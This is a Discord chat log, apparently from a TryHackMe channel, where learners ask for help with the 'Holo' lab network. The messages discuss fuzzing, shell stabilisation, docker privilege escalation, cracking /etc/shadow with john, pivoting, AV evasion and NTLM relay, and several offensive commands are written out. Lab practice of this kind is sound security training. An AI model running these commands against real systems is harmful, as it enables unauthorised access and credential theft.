Anyone able to give me a small nudge. Task 8. Ive tried multiple nmap scripts. I am not getting any ports open other than ssh. Is it user error? Or is something not working

nvm, today port 80 is showing up. I could not for the life of me get it to display last night

[timid coral]

hard to know if it's user error without seeing your nmap command 🙂

[timid coral]

you can just... leave the room and then join the room again

[storm laurel]

Its working now xD. The suggested scan. Then when I couldnt get it I tried a bunch of others. Today, just the regular scan works

[timid coral]

I kinda feel likesome of the .33 is... finiky... a bit unstable and can occasionally take a LONG time to come up

Like I gave it 20 minutes from a reboot earlier and didn't see it, so I went to bed and it was up later

[storm laurel]

xD no worries, I appreciate it! Most of the time its user error (IM a noob) good to know that isnt the case this time xD. I thought I had a basic understanding on nmap. Was confuzzled

[devout musk]

Leave and reset both done but nothing fix

[timid coral]

oh, I meant that'll fix the when the room expires part.

[devout musk]

Ok

Then ill join after 2 days

[lone spruce]

Access denied is not the same as cant run the exe. That means youre attempting to run/write to a directory you dont have permission to. You need to find a directory that is whitelisted and you have permission to write and execute within

[sudden grove]

Thanks. I have read the reference and the .ps1 script and learn how to bypass.

[hollow steeple]

Gave +1 Rep to @lone spruce

[timid coral]

holo... doesn't seem stable.

it seems like every time it expires and shuts down, it has troubling coming back up

[rich flower]

Hi, what is the difficulty of Holo Network? I'm trying to decide between Throwback and this one

[lone spruce]

Holo IMO is harder than Throwback but Throwback is larger

[lone spruce]

thats literally out of our control. In all of our tests weve never seen that happen

Now when people think they need to throw an absurd amount of threads at the machine it shits the bed but that isnt on startup

[timid coral]

I understand, but it is very frustrating.

Luckily for me tonight, the outage is exactly when I need to set up covenant

[timid coral]

I THINK it happens when someone hits start before it's fully stopped. I think I'm going to get it 5 minutes after state chagnes to sopped in the future

[worldly spruce]

I am having trouble connecting to the internal db in task 17, Im not asking for answer, just wanna run my syntax past someone who knows as its behaving odd
It was executing the commands however I could only see the output after typing exit.....how odd

[river cradle]

If you're not in an interactive shell MySQL will act like you're passing in raw SQL queries from a file. Spawn a interactive session with python pty for example and it will show you a MySQL prompt @worldly spruce

[worldly spruce]

Ah that was my thought, however everytime i try to spawn the python tty nothing happens

[river cradle]

How are you trying to spawn it?

[worldly spruce]

python -c 'import pty; pty.spawn("/bin/bash")'

[river cradle]

Try python3 instead

[worldly spruce]

ok

[worldly spruce]

perfect thank you

[hollow steeple]

Gave +1 Rep to @river cradle

[worldly spruce]

w-data@1fd567f26ccb:/var/www/admin$ stty raw -echo;fg stty raw -echo;fg bash: fg: current: no such job

I'm using ZSH fyi

[river cradle]

That's for when you background netcat

Ctrl+z first

[worldly spruce]

sooooo frustrating this network, I can only assume someone is breaking the admin login page with over zealous fuzzing?

[livid shoal]

~~what if u dont have to fuzz for it? ~~ I mean i didnt lol

[worldly spruce]

I mean I am trying to crab a session cookie and cant even log in keeps stalling on login to the dashboard lol

[livid shoal]

well well, it didnt happen to me. weird it happens with u. give it a reset

maybe

[worldly spruce]

I think it is browser caching, I cleared cache and voila I got my login to work and cookie, now I am on task 18 wish me luck

[pulsar dune]

Is there an issue with the network? I am unable to connect.

[pulsar dune]

It's showing the initial access port closed, which was open yesterday. Any hints? If I am doing wrong?

[woven lava]

Aah people nuking the server again?

[timid coral]

so 1) your network is not the same as everyone's network. if you don't say which network you are on, I don't know if MY 10.200.X.33 being up means anything to you

2. (and this is based on my assumptions) if the box expires and shuts down, give it 5 minutes to finish sutting down before restarting it.

[pulsar dune]

I think, there is an issue with the network. Maybe someone has closed port 80 on the initial server.

[quiet raft]

It's not one network for everyone.
If you want to report an issue like that, please state the 3rd octet of your network IPs

[pulsar dune]

Sure, It's not working the 10.200.69.x/24 network.

[timid coral]

that one, I am to understand, has a uninentionally heavy user-load

[sudden grove]

Hi ! Any hint for the FILESRV01 priv esca can I PM? I am getting stuck on identify the exploitable app.

[pulsar dune]

Okay Okay. It worked a few minutes ago.

[worldly spruce]

post it here what you think

Thats the message I get when I ask questions lol

for example....I am thinking I have forgotten something as I am trying to privesc on task 20 and don't have password for www-data to perform the intial priv esc lol

[worldly spruce]

Anyone help with my quandry above ^^ lol

[nocturne rover]

for zsh

1. get a shell.

2. python3 -c "import pty; pty.spawn('bin/bash')"
3. control z
4. stty -a and find rows columns
5. stty raw -echo;fg
6. press enter twice
7. stty rows your_rows columns your columns
8. export TERM=your term

[worldly spruce]

ah I meant my other question lol, I am trying to priv esc on L-SRV01, got the binary I need to exploit but I dont seem to have the www-data password...have I missed something previously?

[livid shoal]

u never have www-data password

:)

[worldly spruce]

Any hint haha I have hit a brick wall haha

Ahhhh sql?

[livid shoal]

yes

[livid shoal]

also till the pc file srv01 everything is well explanatory in the tasks

[vapid umbra]

hey can anyone give me the hunch for the post exploitation task in SRV01

specifically for the cme

[worldly spruce]

I get that, however the specific priv eac requires sudo being ran as a pre req

[storm laurel]

I think the web server crashed 😦

its back xD

[storm laurel]

Being a noob again.. Any ideas why gobuster isnt giving me any output once it completes. User error, or is it b ecause the webserver keeps crashing?

suggested script, using suggested wordlist

[nocturne rover]

use wfuzz

plz

[storm laurel]

AH crap, alright, ty.. Never used wfuzz before. Atleast somewhat familiar with gobuster. I will give that a shot

[storm laurel]

@nocturne rover would this be -u <IP> .... -H "Host: <IP>"?

FUZZ.<IP>

I think I got it working. Web Server keeps crashing and timing out after a few minutes tho 😦 I limited my threads. Hololive is too popular I think xD

[nocturne rover]

Fuzz = fuzz.example.con

What command you used?

[storm laurel]

ty, I did it right. Need to work on it when not so many people are on I think

wfuzz -u <IP> -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.<IP>"

Limited threads with gobuster

not wfuzz, Ill try it again

[nocturne rover]

Specify -hc and -hw

To limit 404 and the word number that dont make sense

[storm laurel]

Gotcha, really appreciate the help! Honestly too much of a noob to be trying an entire network, but..... It looked interesting

[wind bobcat]

ex.
wfuzz -u https://TryHackMe.com -w /usr/share/SecLists/... -H "Host: FUZZ.tryhackme.com" -hc....

[storm laurel]

ty!

I got it running. Cheers fellas 😄

Ill share the loot when I win this! lol

Anything wrong here? wfuzz -u 10.200.69.33 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hc 400,404 -H "Host: FUZZ.10.200.69.33"

[hasty galleon]

Anyone know if ill be able to use the attack machine to work through the holo network? Can't use my pc to connect to the network atm and don't want my access expiring

[snow crag]

@hasty galleon Yeah you should be able to - I'm pretty sure it will even have your access configuration in it as well already.

[hasty galleon]

Oh yeah you're right on that. Thanks appreciate it.

[snow crag]

np

[nocturne rover]

cry whats happening with the finals tasks about relay? why no traffic comes?

[storm laurel]

Wish I could help, Im stuck on enumeration xD

set the timeout super high. see if that gets it done

[zenith delta]

i have like 5 days stuck on the msi i dont know where to start

i would pay someone to help me

[hasty galleon]

Anyone able to tell if 10.200.69.33 is up? Nmap scan is showing it as down and not sure if its me doing something wrong.

[lone spruce]

Everyone on the 10.200.69.X network please be patient we’re investigating an issue with AWS currently

[nocturne rover]

cry does the ntlmrelay works? or not

in the final tasks

thank you in advance because i had troubles

[lone spruce]

Why wouldn’t it

[nocturne rover]

i use sshutle and correctly use responder to listen to my tun0 interface and still nothing happens

[lone spruce]

If you’re using responder then you didn’t fully read the tasks

[lone spruce]

A temporary mitigation is in place. If you’re in the 10.200.69.X network please leave the room and rejoin using the pinned link

https://tryhackme.com/jr/hololive

[hasty galleon]

cry I was on the 69 network connected using the attack machine. Restarted my machine to connect to the new network but now when i try to run the openvpn command i get Options error: In hololive.ovpn:1: Maximum optione line length (256) exceeded

[river summit]

regenerate your conf file

[hasty galleon]

I have tried, getting 404-An error occured, or a cloudflare error 502

[river summit]

try go in to the room and leave it, then rejoin the room and regenerate

[hasty galleon]

Did manage to get the file once but the content of the file is just the tryhackme 404 error html

Nah no luck still

[river summit]

what network are you on in holo?

[hasty galleon]

10.200.68.0

[river summit]

i guess you need to wait for answer... from some tech ppl then 🙂

[hasty galleon]

Fair enough, thanks for trying 🙂

[lone spruce]

@earnest hornet config 404

[earnest hornet]

reeee

[lone spruce]

reeee

[earnest hornet]

@clear zephyr Hey, this use is having a Holo VPN 404 issue 🙂

[lone spruce]

Did I really just ping you for you to just ping Ashu

ping train

[tardy idol]

Does the report have a length limit?

[short gust]

Hi guys, anyone with setting up the vs code?

Cant seem to find the option

[quiet raft]

It's not VS Code, it's full visual studio

[short gust]

is it not from one of these?

[river summit]

go for 2019, community is free to use

[short gust]

Thanks much!

[hollow steeple]

Gave +1 Rep to @river summit

[lone spruce]

No, didn’t you already submit yours though?

Actually think I’m thinking of someone else

[nocturne rover]

completed the network finally onto the report what a network for real

[tardy idol]

Currently working on it and pandoc is failing me. Did a test convert with the editor I'm using and got over 100 pages kekw

[tardy idol]

Probably Thinking of something else. Almost done with the core documentation....

[short gust]

After installing, windows 11 acting strange. Not opening applications, not showing taskbar etc

[river summit]

i dont run win11 so i have no experience with it, but i cant see anyone complain about win11 and vs2019

[short gust]

cant seem to get anything to work, does no help the task manager too

[river summit]

have you rebooted?

[short gust]

yeah couple of times now.

cmd does not open, win+i for settings does not open

[river summit]

i have no idea why vs would mess up, mabye you need to restore

[short gust]

yeah but cant seem to find the restore option

[river summit]

try to boot up in safe mode, press F8 on boot from bios

[livid shoal]

100 pages!!!!!!! thats a lot

👀

what did u write so much ? lmao

[short gust]

Didn’t do much even in safe mode.

Re installation is prolly the best

[river summit]

yeah, you need a working machine... but i searched abit and cant see anyone reporting about problems

[short gust]

Funny thing is I never made a backup image too

Using deployment image servicing and management tool

Still nothing 😦

[river summit]

😣

[short gust]

Thanks @river summit for helping me!

[hollow steeple]

Gave +1 Rep to @river summit

[river summit]

np

[quick island]

Any help for Task 22? collabcat is not working.

[river summit]

unshadow /etc/shadow and /etc/passwd ... awk 'length < 11 && length > 9' rockyou.txt > rockyou-10.txt ... and crack it with john, save you time

[quick island]

Thanks.

[hollow steeple]

Gave +1 Rep to @river summit

[devout musk]

any body up here working on holo right now

or starting with holo right now

[fading jungle]

well, if I can't reach ||10.200.169.33|| does it mean i have to reset the network - or just wait until its lifetime ends?

I've tried at morning and it was ok

[tardy idol]

yep it's a long one. What format would you like the report in?

[livid shoal]

well thats for u to decide. I sent mine i pdf But broo 👀 100 seems too huge

[quick island]

I am installing Covenant on Kali. I have followed the instructions as mentioned, but when I create a listner no matter how many times it's not visible. It's not showing any errors. Any help?

[livid shoal]

two options either clean it ( make it undetectable )
or dont use covenant :)

[nocturne rover]

and use something else

maybe clean covenant is the better way

since you would have a c2 in your hands

[lone spruce]

How does cleaning covenant have anything to do with creating a listener?

[tardy idol]

idk I just said boooo covenant and did it manually

When the challenge/competition is over is there going to be a place were you can read other people's reports?

[nocturne rover]

cry do we need to specify like what penetration test methology we used?

nist ptes etc?

in the report

like a normal pentest report ?

[worldly spruce]

pivoting is the devils work

[lone spruce]

sshuttle do the sshuttle things ezpz

[worldly spruce]

I tried that keep getting errors

[lone spruce]

odd? what errors?

sshuttle is like the most stable option possible and what we suggest using

[lone spruce]

can you get a stable connection with normal ssh?

[worldly spruce]

yeah

[lone spruce]

@wind bobcat have you ever seen sshuttle just yeet a connection

@chrome cave

[tardy idol]

sshuttle is unstable in holo for some reason

[lone spruce]

I mean that machine has been weirdly unstable for whatever reason that is beyond me but if ssh is stable it should be

[tardy idol]

like saying closed ports are open unstable

;'..;' jused used something else for scanning.

[worldly spruce]

I even created a root user to use on the victim machine so I had root privs for the tunnel

tried that and still nothing

as linux-admin is not root

[tardy idol]

What other tools have you used to pivot?

[worldly spruce]

oh dont even start me on chisel

I set it all up and tried to ping the dc got nothing

[lone spruce]

Ive stared at that machine and still have no clue what its problem is

[lone spruce]

ICMP doesnt work over proxy

[tardy idol]

icmp no like pivot

[worldly spruce]

ha

ok

thats really useful to know 🙂

I mean technically once you have root on that machine you could do everything from there surely? lol

[lone spruce]

It has nothing to do with privileges

youre not running commands from the machine

youre running them through the machine

[worldly spruce]

yeah

I get that element, just getting it to work is another matter haha

this has been the most complex, frustrating YET extremley rewarding network I have ever worked in.....perfect prep for OSCP in my opinion in terms of methods etc

[wind bobcat]

because they're missing -x 10.200.x.33/32

[lone spruce]

Since when has that been a requirement

I’ve never specified cidr on target

[zenith delta]

doing the privilege escalation on .33 anyone can give me a nudge of what is the password of www-data?

[lone spruce]

you dont need it

you need to understand what gtfobins is providing you rather than copy and pasting

[zenith delta]

man can you give me a nudge on this?

[lone spruce]

well with just a bit of nix knowledge you can tell that the top line is using sudo to identify the version of docker

we don’t care about that it’s irrelevant to us

if we also look at the line of the actual exploit it specifies an OS that the target isn’t even running so it needs to be modified

[zenith delta]

I guess I'm having a problem on my command

can I dm you @lone spruce

[lone spruce]

you can just put everything here

[zenith delta]

this is what I used

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

also removing the "sh"

also found a blog talking about the same exploit, however both of it is not working

[lone spruce]

as I said it uses a specific OS that you need to modify

[hasty galleon]

Im having issues getting past the fuzzing task. wfuzz and gobuster both keep crashing the server even with limiting the thread count to 1. Anyone got any tips?

[lone spruce]

What subnet are you on

[hasty galleon]

146

[lone spruce]

huh

it could be someone else throwing a bunch of threads. I’m not sure

[zenith delta]

someone messed up the machine

hahahaha

@lone spruce man, will try to work on this docker privesc after the machine start running as default again. Thanks

[hollow steeple]

Gave +1 Rep to @lone spruce

[wind bobcat]

I always do because it's better to not assume kek

and -x has always been a requirement

[river summit]

last part was time consuming, but an awesome learning

[lone spruce]

My brain really glitched out because I thought that was a user we put in

[river summit]

hehe

[tardy idol]

well done

[zenith delta]

Can anyone help reset the machine?

[livid shoal]

oh you did from rdp 👀

[river summit]

added myself as local admin who is in the remote desktop group

[livid shoal]

ah i added myself in domain admins group lol

[zenith delta]

anyone can give me a nudge or help to moveon on docker pricesc?

*privesc?

[upper rock]

Task 42, the same info twice

[fervent oxide]

hello; im in task 20 and i cant privesc with docker suid

it says alpine:latest dont find and cant install it

help?

[upper rock]

You can't just copy the command, you need to change it a bit

You need to understand what the command does

[zenith delta]

I'm on the same task as well, can we help each other if possible?

[zenith delta]

got it

[worldly spruce]

anyone else having issues? cant scan 192.168.100.0/24 all hosts down

[timid coral]

from?

[worldly spruce]

please disregard my previous message

[timid coral]

🙂

last night I got all the way to typing out that I needed help with a problem before I figured it out 🙂

[worldly spruce]

this was for a colleuge from my work, I said he should try it out as he is sitting some CREST certs soon and it is good to polish up on different vectors, I had mis infomred him the IP range to scan to get the webserver for holo live

lol

[lone spruce]

I- I- I don’t have the brain power for this
@frigid nacelle Tiiiiiiim it’s doing the thing

[timid coral]

this av evasion stuff is MURDERING me

it was fun in wreath.

and I got shell, b/c my reverse shell code isn't caught by av, but to skip the covenant stuff would be a shame... but... I think there's stuff missing. like the stuff on how to use the tools.

(meaning that I think it presumes a level of knowledge in .net)

[livid shoal]

it might not be a shame. because u still have to bypass stuff with reverse shell too.

and covenant is weird

[livid shoal]

thats the fun part 😉

[lone spruce]

Covenant isn’t weird

there’s just a learning curve

[vapid umbra]

hey guys

need help in privilege escalation in PC FILE server

I didnt able to find out the vulnerable application

[river summit]

have a look in task manager, should "scream" at you 🙂

[lone spruce]

I mean it’s about the only application there

[vapid umbra]

I got that

[vapid umbra]

thanks pal

[hollow steeple]

Gave +1 Rep to @river summit

[vapid umbra]

thanks

[vapid umbra]

how did you find out that this is vulnerable application ? and in the room it said that you can find the application in the schedule tasks ? Im asking this because I need to improve my perspective and methodology

[river summit]

i dident find it in schedule tasks, but i did see it in task manager early. And then i came across it in unusual folder... searched google for the filename and dll, and was ready to go

looking in the schedule tasks was hopeless as i guess you also found out 😛

[zenith delta]

for pivoting part? which machine do we need to start the client? on LSRV01? or 02?

forget my question. found the answer

[vapid umbra]

yahh pal, Its totally useless

[vapid umbra]

Thanks once again for the explanation !!!

[hollow steeple]

Gave +1 Rep to @river summit

[vapid umbra]

One more ques ... how to find the dll file for that application ? and that vulnerable application is a single executable file

Procmon need administrative privileges

[river summit]

ask our common best friend... filename dll <what_you_are_about_do> 🙂

the first result i got was spot on

[nocturne rover]

maybe use process hacker 2:)

[vapid umbra]

tell me more about it

is anything happened to the machine cuz I didnt able to ping the machine

any moderator plz help

[quiet raft]

That is not what mods are for

Mods are for moderating the discord, not site staff or site help

[vapid umbra]

Okay sir

my bad

[quiet raft]

Also remember that there are a large number of separate networks.

[fervent oxide]

hey guys im having problems with pivoting, any help?

[vagrant willow]

I think I have a dumb question...one of the cidr ranges given in task 8 is 10.200.x.0/24. Am I supposed to figure out which /24 it is or is that a typo?

[upper rock]

no, just use 10.200.X.0/24

[vagrant willow]

I fixed my command and I'm guessing it'll only come back with one /24 this time

[quiet raft]

The third octet depends what network instance you're on. You should know it.

[vagrant willow]

Yea I scrolled up to the diagram after posting. The network had gone offline after I got on. I figured this wouldn't go well right when I wake up.

[pulsar dune]

Hi, can anyone guide on escalating privileges, on L-SRV01? I tried the GTFOBins but it's not working.

[upper rock]

What command did you use?

[pulsar dune]

sudo install -m =xs $(which docker) .

[upper rock]

That is the wrong command, you need to modify the second command that you get from GTFObins

The docker image is already on the machine

That command is for installing the docker image

[pulsar dune]

Okay Okay, I'll check

I'm getting this, the input device is not a TTY

[upper rock]

Have you upgraded your shell?

or stabilized

[quiet raft]

That message'll be from the sudo part

[pulsar dune]

Yes, missed a step there. Completed it now.

Do we need to specify the image id here?

Getting this on the normal command, Unable to find image 'alpine:latest' locally

[upper rock]

yes

there is an image on the machine that you will use

[pulsar dune]

There are 5 images on the machine with 4 having <none> label. I need t try all of them? XD

[upper rock]

there should be one at the bottom or at the top of the list iirc?

one that you can use

[pulsar dune]

Got it! Thanks Man!

[upper rock]

Glad to help :)

[livid shoal]

yea maybe that. Thats why i thought to write my own c2 when I have some time cause honestly that way I would know what and how things are working and why its breaking/crashing/getting detected

[pulsar dune]

Do we need to use google colab to crack the password? And which word list is advisable to use?

[lone spruce]

That’s all specified in the task

[vapid umbra]

Hey anyone knows how to use procmon without administrative privileges ?

[wind bobcat]

you transfer the binary to your own windows machine and use procmon on there

[vapid umbra]

Okay

[zenith delta]

not really good at web, anyone can help on task 28?

[tardy idol]

I remember that made me mald

[zenith delta]

got it. I re-read the instruction again to make sure

thanks for this

[worldly spruce]

This pivoting has my head spun lol, I have ran chisel as per guide....now how on gods green earth can I access the s-srv01 web page via my browser??

and how can I test if I have it set up correctly?]

[zenith delta]

if you can access the web page. which means it works

[worldly spruce]

proxychains nmap 10.200.197.31 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.14 Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-05 16:11 EDT nmap: netutil.cc:1319: int collect_dnet_interfaces(const intf_entry*, void*): Assertion rc == 0' failed. Aborted

[zenith delta]

I haven't tried to use chisel for proxy nmap, I upload a nmap on the machine and run it for me to view all the internal IP and their ports.

[worldly spruce]

ah ok

i think if I remember chisel does not like ICMP

[wind bobcat]

nmap doesn't like proxies

[lone spruce]

Setting up a proxy in you’re web browser or using foxy proxy

[worldly spruce]

Yeah I have figured it out now, however....do I need to edit burp to use the proxychain port now to use it?

[zenith delta]

the AV evasion here is way harder than wreath machine. do you guys use covenant or just ordinary reverse shell?

[tardy idol]

Did it without covenant.

[zenith delta]

Can you give me a nudge what did you do? did you try to get a rce first?

[tardy idol]

something in that order.

but it seems like everyone has done AV evasion differently.

[pulsar dune]

How to add our Example Task on the C2? I followed the instructions and created a YAML on the given path. Used the build command and then run command, but it's still now showing.

[quick island]

If I have to follow the AV evasion tasks, do I need to have a windows OS to build payload?

[prime raft]

Same as Simardeep, I've created a yaml example file, cloned the SharpEDRchecker repo into the appropriate directories. Checked the permissions are all the same as the documents that come with Covenant, and entered dotnet build and run commands, but nothing shows up when I reopen Covenant. Any ideas what I might have missed?

[pulsar dune]

In the web exploitation part, I am unable to get the Password Reset Page/Option on S-SRV01. What am I missing?

[vapid umbra]

Not necessarily

[quick island]

Cool, thanks.

[hollow steeple]

Gave +1 Rep to @vapid umbra

[vapid umbra]

how did i trigger the vulnerable application in the PC File server

[nocturne rover]

cry if i clean the covenant then there is no need for amsi bypass right? because i tested it i powershell works also without even used an amsi bypass

[lone spruce]

You just answered your question in the same message

[nocturne rover]

yes i know i just wanna clarify if it needs to use an amsi bypass

[fading jungle]

question: I'm doing the task 23 and trying to sshuttle onto the ||10.200.169.33|| by using ||sshuttle -r linux-admin@10.200.169.33 0/0|| but every time connecton is established, when I press any key I'm getting the "Network error: Software caused connection abort" and I'm getting kicked off the session; what could be the problem? I'm using Kali over PuTTY

[quiet raft]

You might want to include the -x and a more specific subnet to forward?

[fading jungle]

hmm

[fading jungle]

why may I want to exclude some subnet?

[quiet raft]

You want to exclude the box you're connecting to

Otherwise it can try to route the traffic to that machine over the tunnel and the machine will never get it

[fading jungle]

hmm yeah I've added the -x and in kinda worked... I mean it didn't shutdown, but I didn't specify subnet to forward (kept 0/0) and I'm getting werid responses from the nmap, like.. all ports are open on the scanned server 😛

maybe I'll try asking other questuon - how should I know I've successfully pivoted on that task 23?

ahh.. I think I get the pattern - when I nmap -sT to some ip I've established connection with sshuttle - I'm getting all ports open - is it known behaviour? can it be somehow fixex if it is wrong?

[wind bobcat]

known behavior

[fading jungle]

ohh why so, can you elaborate/provide some resources?

[wind bobcat]

dunno, I didn't write sshuttle

but

best solution is to port scan on the intermediary Linux device

nmap portable binaries are available

[fading jungle]

hmhm okey, so.. what for is pivoting? I thought I can perform same operations that I would do without connecting to the proxy server

I think i have to go along with tutorial and come back to that question afterwards

and I noticed that I can for example curl pages like I was inside the network.. ok so that makes me think I did it correctl, thanks @quiet raft @wind bobcat

[hollow steeple]

Gave +1 Rep to @quiet raft

[fading jungle]

thanks @wind bobcat

bad bot

[wind bobcat]

basically, any time you proxy traffic through another machine, it's not going to be perfect

[quiet raft]

There's plenty of ways to portscan too, especially if you got root

[fading jungle]

yeah I just thought it would be possible via that.. pivot operation

[wind bobcat]

and if you can curl pages -- that's good. you've set it up correctly

[vapid umbra]

Hey, in PC FILE SERVER the netlogon services doesnt stop

and how could I restart the machine ?

heyy plz can anyone tell me how to do ntlm rely attack in holo

??

[wind bobcat]

how do you mean it doesn't stop? you need to provide more info

[vapid umbra]

okay sorry It stopped

but how to restart the pc

?

C:\Windows\Tasks>sc stop lanmanworkstation
sc stop lanmanworkstation
[SC] ControlService FAILED 1051:

A stop control has been sent to a service that other running services are dependent on.

[livid shoal]

net stop lanmanworkstation /yes

(in normal cmd shell not powershell )

that would work

@vapid umbra

[vapid umbra]

Okay

but how to restart it ?

[livid shoal]

search it up. there is a command for it dont remember it now.
also u might need to logoff the users if u have a rdp session running. before restarting

[vapid umbra]

i got this command shutdown /r

[livid shoal]

try it

[vapid umbra]

access denied

[upper rock]

you should have a shell as nt \ authority after the dll hijacking

[vapid umbra]

first I have to disable all the services then restart right ?

[upper rock]

do the command remotly

yup

[vapid umbra]

then what should I have to do ?

[livid shoal]

run powershell and type Restart-Computer/Restart-System either of them will work i dont know exactly it might show u that users are logged in

if thats the case u have to logoff

the users first

[vapid umbra]

okayyy

again failed

@livid shoal @upper rock

[lone spruce]

It tells you exactly what the problem is

you don’t have permissions

[vapid umbra]

but im the nt user

[lone spruce]

Doesn’t seem like it

[lone spruce]

ree windows

I wonder if someone screwed around with the machine to show mitigations

I would say reset the network and see what happens

[vapid umbra]

Okayyy

Thanks @lone spruce

[hollow steeple]

Gave +1 Rep to @lone spruce

[vapid umbra]

Thanks @livid shoal @upper rock

what should I have to do after the restart

?

[upper rock]

rdp into the machine, do the dll hijacking, start over with the ntlm relay

[vapid umbra]

hey Im successful in stopping the service and restart

and I also started the ntlmrelay

but didnt get anything

[upper rock]

I haven't done the ntlm relay part yet unfortunatly, im not that step

[vapid umbra]

Okay man

[vapid umbra]

thank you

[hollow steeple]

Gave +1 Rep to @upper rock

[upper rock]

glad to help :)

[hasty galleon]

Anyone got any tips, im stuck at task 14. Im following all the steps exactly but after the last command i do not get a 'full' shell?

Once i bring my shell back using fg, and i type reset it doesnt seem to reset the shell?

[vapid umbra]

stty raw -echo; fg